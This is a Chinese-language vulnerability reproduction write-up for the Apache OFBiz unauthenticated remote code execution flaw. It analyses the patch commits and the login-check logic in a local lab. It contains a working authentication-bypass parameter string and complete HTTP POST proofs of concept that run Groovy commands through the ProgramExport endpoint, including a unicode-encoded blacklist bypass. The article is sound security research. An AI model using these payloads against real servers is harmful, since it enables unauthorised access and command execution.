12月27日看见长亭公众号发了这个关于 Apache OFBiz的未授权远程代码执行漏洞https://mp.weixin.qq.com/s/X3e0uUN1nPBpnhP9oSu67Q,借此来复现一下

根据介绍,影响的版本为 Apache Ofbiz < 18.12.11

github上看一下commits

image-20231228184747065

主要是将username和password是否为空的判断条件改为了使用UtilValidate.isEmpty() 来判断

https://github.com/apache/ofbiz-framework/commit/47e7959065b82b170da5c330ed5c17af16415ede

image-20231228184821656

同时在登录失败时直接返回error,不在判断是否需要requirePasswordChange

https://github.com/apache/ofbiz-framework/commit/ee02a33509589856ab1ad08399e8dcee6b0edf58

image-20231228185027671

环境搭建

官网上下载有漏洞的版本,这里使用的是apache-ofbiz-18.12.10 的版本

下载解压IDEA打开

我是windows环境

执行命令构建

gradlew cleanAll loadDefault

启动调试

gradlew ofbiz --debug-jvm

IDEA连接5005端口调试

浏览器打开https://localhost:8443/accounting即可

漏洞点

根据github上的commits定位到 org.apache.ofbiz.webapp.control.LoginWorker#checkLogin

这里是校验是否登录的方法

然后这里校验是否登录的逻辑很逆天

public static String checkLogin(HttpServletRequest request, HttpServletResponse response) {
    GenericValue userLogin = checkLogout(request, response);
    // have to reget this because the old session object will be invalid
    HttpSession session = request.getSession();

    String username = null;
    String password = null;
    String token = null;

    if (userLogin == null) {
        // check parameters
        username = request.getParameter("USERNAME");
        password = request.getParameter("PASSWORD");
        token = request.getParameter("TOKEN");
        // check session attributes
        if (username == null) username = (String) session.getAttribute("USERNAME");
        if (password == null) password = (String) session.getAttribute("PASSWORD");
        if (token == null) token = (String) session.getAttribute("TOKEN");

        // in this condition log them in if not already; if not logged in or can't log in, save parameters and return error
        if (username == null
                || (password == null && token == null)
                || "error".equals(login(request, response))) {

            // make sure this attribute is not in the request; this avoids infinite recursion when a login by less stringent criteria (like not checkout the hasLoggedOut field) passes; this is not a normal circumstance but can happen with custom code or in funny error situations when the userLogin service gets the userLogin object but runs into another problem and fails to return an error
            request.removeAttribute("_LOGIN_PASSED_");

            // keep the previous request name in the session
            session.setAttribute("_PREVIOUS_REQUEST_", request.getPathInfo());

            // NOTE: not using the old _PREVIOUS_PARAMS_ attribute at all because it was a security hole as it was used to put data in the URL (never encrypted) that was originally in a form field that may have been encrypted
            // keep 2 maps: one for URL parameters and one for form parameters
            Map<String, Object> urlParams = UtilHttp.getUrlOnlyParameterMap(request);
            if (UtilValidate.isNotEmpty(urlParams)) {
                session.setAttribute("_PREVIOUS_PARAM_MAP_URL_", urlParams);
            }
            Map<String, Object> formParams = UtilHttp.getParameterMap(request, urlParams.keySet(), false);
            if (UtilValidate.isNotEmpty(formParams)) {
                session.setAttribute("_PREVIOUS_PARAM_MAP_FORM_", formParams);
            }

            //if (Debug.infoOn()) Debug.logInfo("checkLogin: PathInfo=" + request.getPathInfo(), module);

            return "error";
        }
    }

    //Allow loggingOut when impersonated
    boolean isLoggingOut = "logout".equals(RequestHandler.getRequestUri(request.getPathInfo()));
    //Check if the user has an impersonation in process
    boolean authoriseLoginDuringImpersonate = EntityUtilProperties.propertyValueEquals("security", "security.login.authorised.during.impersonate", "true");
    if (!isLoggingOut && !authoriseLoginDuringImpersonate && checkImpersonationInProcess(request, response) != null) {
        //remove error message that will be displayed in impersonated status screen
        request.removeAttribute("_ERROR_MESSAGE_LIST_");
        return "impersonated";
    }

    return "success";
}

这里只要我们返回success即可表示登录成功

而这里登录失败返回error

只要这里不满足条件,不进入该if分支

image-20231230150129352

那么后续流程走下来就是返回 success

这里当我们传入 ?USERNAME=&PASSWORD= 时,后端得到的 username 和 password 为空字符串,并不是null,绕过了第一步

image-20231230151732208

然后后面看看这个 login 方法,只要他返回不是 error 即可满足条件

通过审计login 方法,可以发现当传入 requirePasswordChangeY,返回的值便是 requirePasswordChange,不是 error

image-20231230152355054

那么后续便return了 success

image-20231230153152227

所以传入参数

?USERNAME=&PASSWORD=&requirePasswordChange=Y

即可绕过登录验证

漏洞利用

其后台的 /webtools/control/ProgramExport 接口可以编程导出xml

image-20231230164558214

这里可以执行Groovy代码

参考 https://xz.aliyun.com/t/8231#toc-12

import groovy.lang.GroovyShell

GroovyShell shell = new GroovyShell();
shell.evaluate('"calc".execute()')

然后注意执行groovy代码这里有黑名单

image-20231230171539864

image-20231230172844026

image-20231230172827589

groovy在执行时会将输入的值进行unicode解码

使用unicode编码进行绕过即可

poc

POST /webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 644

groovyProgram=\u0069\u006d\u0070\u006f\u0072\u0074\u0020\u0067\u0072\u006f\u006f\u0076\u0079\u002e\u006c\u0061\u006e\u0067\u002e\u0047\u0072\u006f\u006f\u0076\u0079\u0053\u0068\u0065\u006c\u006c\u000a\u000a\u0047\u0072\u006f\u006f\u0076\u0079\u0053\u0068\u0065\u006c\u006c\u0020\u0073\u0068\u0065\u006c\u006c\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0047\u0072\u006f\u006f\u0076\u0079\u0053\u0068\u0065\u006c\u006c\u0028\u0029\u003b\u000a\u0073\u0068\u0065\u006c\u006c\u002e\u0065\u0076\u0061\u006c\u0075\u0061\u0074\u0065\u0028\u0027\u0022\u0063\u0061\u006c\u0063\u0022\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u0027\u0029

image-20231230171818536

当然,除了使用unicode编码绕,还可以利用黑名单之外的东西,实现在代码层面上的绕过

参考https://xz.aliyun.com/t/8231#toc-12

直接执行命令

POST /webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

groovyProgram="calc".execute()

image-20231231164321165